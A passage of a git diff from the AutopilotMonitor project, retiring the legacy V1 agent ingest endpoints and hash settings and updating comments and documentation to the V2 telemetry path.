b/src/Backend/AutopilotMonitor.Functions/Services/ISignalRNotificationService.cs index 62a019b9..28f5755a 100644 --- a/src/Backend/AutopilotMonitor.Functions/Services/ISignalRNotificationService.cs +++ b/src/Backend/AutopilotMonitor.Functions/Services/ISignalRNotificationService.cs @@ -4,7 +4,7 @@ namespace AutopilotMonitor.Functions.Services { /// /// Programmatic SignalR message sender. Extracted as an interface so that consumers - /// (TenantNotificationService, GlobalNotificationService, IngestEventsFunction, etc.) + /// (TenantNotificationService, GlobalNotificationService, EventIngestProcessor, etc.) /// can be unit-tested without instantiating the real Azure SignalR ServiceManager, /// whose constructor validates the connection string. /// diff --git a/src/Backend/AutopilotMonitor.Functions/Services/SlaBreachEvaluationService.cs b/src/Backend/AutopilotMonitor.Functions/Services/SlaBreachEvaluationService.cs index 8b1068de..4458a1d7 100644 --- a/src/Backend/AutopilotMonitor.Functions/Services/SlaBreachEvaluationService.cs +++ b/src/Backend/AutopilotMonitor.Functions/Services/SlaBreachEvaluationService.cs @@ -25,7 +25,7 @@ namespace AutopilotMonitor.Functions.Services /// /// Entry points: /// — timer trigger (every 2 hours) - /// — inline from IngestEventsFunction (fire-and-forget) + /// — inline from EventIngestProcessor (fire-and-forget) /// public class SlaBreachEvaluationService { @@ -615,7 +615,7 @@ namespace AutopilotMonitor.Functions.Services }); } - // ── Inline entry point (from IngestEventsFunction) ──────────────────── + // ── Inline entry point (from EventIngestProcessor) ──────────────────── /// /// Checks for consecutive enrollment failures after a session completes with failure. diff --git a/src/Backend/AutopilotMonitor.Functions/Services/TableStorageService.Sessions.cs b/src/Backend/AutopilotMonitor.Functions/Services/TableStorageService.Sessions.cs index fabbc513..bf3ad73d 100644 --- a/src/Backend/AutopilotMonitor.Functions/Services/TableStorageService.Sessions.cs +++ b/src/Backend/AutopilotMonitor.Functions/Services/TableStorageService.Sessions.cs @@ -1327,7 +1327,7 @@ namespace AutopilotMonitor.Functions.Services /// /// Updates the session status and current phase. /// Uses Merge mode to write only changed fields, reducing ETag conflicts under concurrency. - /// The caller (IngestEventsFunction) provides earliestEventTimestamp from the current batch; + /// The caller (EventIngestProcessor) provides earliestEventTimestamp from the current batch; /// no redundant Events-table scan is performed here. /// Event count is maintained atomically by IncrementSessionEventCountAsync and is not /// recounted here — avoiding an expensive full-partition scan on every status change. @@ -1371,7 +1371,7 @@ namespace AutopilotMonitor.Functions.Services // Build a Merge update with only the fields that actually change var update = new TableEntity(tenantId, sessionId); - // Status transitions from IngestEventsFunction: Succeeded, Failed, Pending, Stalled, + // Status transitions from EventIngestProcessor: Succeeded, Failed, Pending, Stalled, // and InProgress (the last one only for healing a Stalled session back to active). // Guard: never regress a Pending (WhiteGlove) session to Stalled via the ingest // path — WhiteGlove sessions are deliberately long-lived and handled via re-registration. diff --git a/src/Shared/AutopilotMonitor.DecisionCore/Classifiers/WhiteGloveSealingClassifier.cs b/src/Shared/AutopilotMonitor.DecisionCore/Classifiers/WhiteGloveSealingClassifier.cs index 8fe1ee5d..93ec5edf 100644 --- a/src/Shared/AutopilotMonitor.DecisionCore/Classifiers/WhiteGloveSealingClassifier.cs +++ b/src/Shared/AutopilotMonitor.DecisionCore/Classifiers/WhiteGloveSealingClassifier.cs @@ -7,8 +7,7 @@ namespace AutopilotMonitor.DecisionCore.Classifiers /// /// Scoring-based WhiteGlove Part 1 classifier. Plan §2.4 / §M3.3. /// - /// Scoring rules ported 1:1 from the Legacy WhiteGloveClassifier - /// (src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Completion/WhiteGloveClassifier.cs) + /// Scoring rules ported 1:1 from the retired V1 agent's WhiteGloveClassifier /// — same weights, same thresholds, same asymmetric-conservative decision rule. The /// refactor change is the contract, the snapshot input type, /// and the deterministic anti-loop. diff --git a/src/Shared/AutopilotMonitor.Shared/Constants.cs b/src/Shared/AutopilotMonitor.Shared/Constants.cs index dd284644..14c59536 100644 --- a/src/Shared/AutopilotMonitor.Shared/Constants.cs +++ b/src/Shared/AutopilotMonitor.Shared/Constants.cs @@ -189,7 +189,6 @@ namespace AutopilotMonitor.Shared public static class ApiEndpoints { public const string RegisterSession = "/api/agent/register-session"; - public const string IngestEvents = "/api/agent/ingest"; public const string GetAgentConfig = "/api/agent/config"; public const string GatherRules = "/api/rules/gather"; public const string AnalyzeRules = "/api/rules/analyze"; @@ -203,11 +202,10 @@ namespace AutopilotMonitor.Shared public const string ReseedFromGitHub = "/api/rules/reseed-from-github"; public const string ValidateBootstrapCode = "/api/bootstrap/validate/{code}"; - // V2 Agent generic telemetry transport (Plan §2.7a). - // Sibling of IngestEvents under /api/agent/* — same Agent-writes namespace, heterogeneous - // TelemetryItem[] payload (Event + Signal + DecisionTransition). Backend routes per - // TelemetryItem.Kind to Events / Signals / DecisionTransitions tables. Replaces the - // per-type IngestEvents path once the Legacy Agent is decommissioned (v11.1+). + // Agent generic telemetry transport (Plan §2.7a) — THE agent ingest path since the + // legacy V1 NDJSON endpoint (/api/agent/ingest) was decommissioned. Heterogeneous + // TelemetryItem[] payload (Event + Signal + DecisionTransition); backend routes per + // TelemetryItem.Kind to Events / Signals / DecisionTransitions tables. public const string IngestTelemetry = "/api/agent/telemetry"; // MCP/Agent API search endpoints @@ -217,7 +215,6 @@ namespace AutopilotMonitor.Shared public const string MetricsSummary = "/api/metrics/summary"; // Bootstrap agent endpoints (cert-free, token-auth for pre-enrollment agents) public const string BootstrapRegisterSession = "/api/bootstrap/register-session"; - public const string BootstrapIngestEvents = "/api/bootstrap/ingest"; public const string BootstrapGetAgentConfig = "/api/bootstrap/config"; public const string BootstrapReportError = "/api/bootstrap/error"; diff --git a/src/Shared/AutopilotMonitor.Shared/Models/Config/AdminConfiguration.cs b/src/Shared/AutopilotMonitor.Shared/Models/Config/AdminConfiguration.cs index aaf4d5f4..5c2e47b7 100644 --- a/src/Shared/AutopilotMonitor.Shared/Models/Config/AdminConfiguration.cs +++ b/src/Shared/AutopilotMonitor.Shared/Models/Config/AdminConfiguration.cs @@ -277,22 +277,10 @@ namespace AutopilotMonitor.Shared.Models public string OpsAlertSlackWebhookUrl { get; set; } = default!; // ===== PER-LINE AGENT HASH ORACLE ===== - // Symmetric per-major-line schema. Each line (V1, V2, future V3...) has its - // own field set. GetAgentConfigFunction parses X-Agent-Version-Major and - // dispatches via GetAgentLine(int major). Future V3 = add new field set + 1 - // switch arm in GetAgentLine. See .claude/plans/v2-cutover.md. - - /// Version string of the latest published V1 agent (e.g. "1.0.706"). - public string LatestAgentV1Version { get; set; } = default!; - - /// SHA-256 (lowercase hex) of the latest published V1 agent ZIP. - public string LatestAgentV1Sha256 { get; set; } = default!; - - /// SHA-256 (lowercase hex) of the latest published V1 agent EXE. - public string LatestAgentV1ExeSha256 { get; set; } = default!; - - /// Version string of the latest published V1 bootstrap script. - public string LatestBootstrapV1ScriptVersion { get; set; } = default!; + // Per-major-line schema. GetAgentConfigFunction parses X-Agent-Version-Major and + // dispatches via GetAgentLine(int major). V2 is the only wired line (the V1 line + // was retired with the legacy agent); future V3 = add new field set + 1 switch + // arm in GetAgentLine. See .claude/plans/v2-cutover.md. /// Version string of the latest published V2 agent (e.g. "2.0.647"). public string LatestAgentV2Version { get; set; } = default!; @@ -323,12 +311,6 @@ namespace AutopilotMonitor.Shared.Models { switch (major) { - case 1: - return new AgentLineHashes( - LatestAgentV1Version ?? string.Empty, - LatestAgentV1Sha256 ?? string.Empty, - LatestAgentV1ExeSha256 ?? string.Empty, - LatestBootstrapV1ScriptVersion ?? string.Empty); case 2: return new AgentLineHashes( LatestAgentV2Version ?? string.Empty, @@ -336,8 +318,8 @@ namespace AutopilotMonitor.Shared.Models LatestAgentV2ExeSha256 ?? string.Empty, LatestBootstrapV2ScriptVersion ?? string.Empty); default: - // Unknown major (very old agent, or a future line not yet wired). - // Return empty so callers degrade gracefully (skip integrity check). + // Unknown major (retired V1 line, very old agent, or a future line not + // yet wired). Return empty so callers degrade gracefully (skip integrity check). return new AgentLineHashes(string.Empty, string.Empty, string.Empty, string.Empty); } } diff --git a/src/Shared/AutopilotMonitor.Shared/Models/Config/TenantConfiguration.cs b/src/Shared/AutopilotMonitor.Shared/Models/Config/TenantConfiguration.cs index 260ce04c..829fa854 100644 --- a/src/Shared/AutopilotMonitor.Shared/Models/Config/TenantConfiguration.cs +++ b/src/Shared/AutopilotMonitor.Shared/Models/Config/TenantConfiguration.cs @@ -160,10 +160,10 @@ namespace AutopilotMonitor.Shared.Models // ===== PAYLOAD SETTINGS ===== /// - /// Maximum decompressed ingest-batch payload size in MB. Applies to both the legacy - /// NDJSON path (/api/agent/ingest) and the V2 JSON-array path - /// (/api/agent/telemetry) — same DoS/memory-exhaustion protection, different - /// wire shapes. The property name is historical; scope is shape-agnostic. Default: 5 MB. + /// Maximum decompressed ingest-batch payload size in MB, enforced on the JSON-array + /// ingest path (/api/agent/telemetry) — DoS/memory-exhaustion protection. + /// The property name is historical (from the removed V1 NDJSON path); scope is + /// shape-agnostic. Default: 5 MB. /// Table-only setting (not editable via the tenant-config public API). /// public int MaxNdjsonPayloadSizeMB { get; set; } = 5; diff --git a/src/Shared/AutopilotMonitor.Shared/Models/Diagnostics/AgentErrorReport.cs b/src/Shared/AutopilotMonitor.Shared/Models/Diagnostics/AgentErrorReport.cs index fe1ded12..71456dd8 100644 --- a/src/Shared/AutopilotMonitor.Shared/Models/Diagnostics/AgentErrorReport.cs +++ b/src/Shared/AutopilotMonitor.Shared/Models/Diagnostics/AgentErrorReport.cs @@ -8,7 +8,7 @@ namespace AutopilotMonitor.Shared.Models public enum AgentErrorType { /// - /// POST /api/agent/ingest returned a non-auth error (5xx / network failure). + /// POST /api/agent/telemetry returned a non-auth error (5xx / network failure). /// Events remain in the spool but are not reaching the backend. /// IngestFailed = 0, diff --git a/src/Web/autopilot-monitor-web/app/docs/sections/SectionAgentInternals.tsx b/src/Web/autopilot-monitor-web/app/docs/sections/SectionAgentInternals.tsx index 4abba1bd..ccd07696 100644 --- a/src/Web/autopilot-monitor-web/app/docs/sections/SectionAgentInternals.tsx +++ b/src/Web/autopilot-monitor-web/app/docs/sections/SectionAgentInternals.tsx @@ -688,7 +688,7 @@ export function SectionAgentInternals() {

Batching & Compression

-

NDJSON + gzip compression (70–80% reduction)

+

JSON telemetry batch + gzip compression (70–80% reduction)

MaxBatchSize: 100 events per batch, upload interval: 30s (configurable)

Debounce timer for rapid event bursts

Sequence numbering for ordering + deduplication

@@ -709,7 +709,7 @@ export function SectionAgentInternals() {